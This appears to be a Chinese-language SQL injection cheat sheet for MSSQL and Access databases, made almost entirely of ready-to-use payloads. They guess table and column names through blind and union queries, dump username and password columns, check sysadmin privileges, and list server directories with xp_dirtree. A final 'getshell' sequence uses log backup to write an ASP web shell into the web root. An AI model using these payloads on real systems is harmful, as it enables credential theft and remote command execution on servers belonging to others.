and (select count(*) from sysobjects)>0 mssql and (select count(*) from msysobjects)>0 access
注入参数是字符
1
'and [查询条件] and ''='
搜索时没过滤参数的
1
'and [查询条件] and '%25'='
猜数表名
1
and (select Count(*) from [表名])>0
猜字段
1
and (select Count(字段名) from 表名)>0
猜字段中记录长度
1
and (select top 1 len(字段名) from 表名)>0
(1)猜字段的ascii值(access)
1
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
(2)猜字段的ascii值(mssql)
1
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
union 联合查询
顺便查下版本和数据库名
1
union select null,@@version,db_name(),null,null
如果要查其他数据库的表名还可以这样:
1
union select null,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),null,null
union 列表名
继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
第一个表名
1
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null
第二个表名
1
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null
union 列列名
继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
第一个列名
1
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null
第二个列名
1
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null
第三个列名
1
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='password'))),null
列数据
1
http://192.168.0.240:8005/?id=1 union select null,username,password from password where username not in (select top 0 username from password)
SqlServer不同权限利用
用户所处权限分析:
1 2 3
sa权限 dbo public
权限判断语句
1 2 3 4 5 6
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 and 1=(select is_srvrolemember('public')) //判断是否为public权限 and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名 and 1=(select @@servername) //本地服务名 and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
然后
1
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹
1
and(select dir from temp where id=1)>0
getshell
找到web目录后,就可以写入一句话木马了
1 2 3 4 5 6
;alter database ssdown5 set RECOVERY FULL ;create table test(str image)-- ;backup log ssdown5 to disk='c: est' with init-- ;insert into test(str)values ('<%excute(request("cmd"))%>')-- ;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'-- ;alter database ssdown5 set RECOVERY simple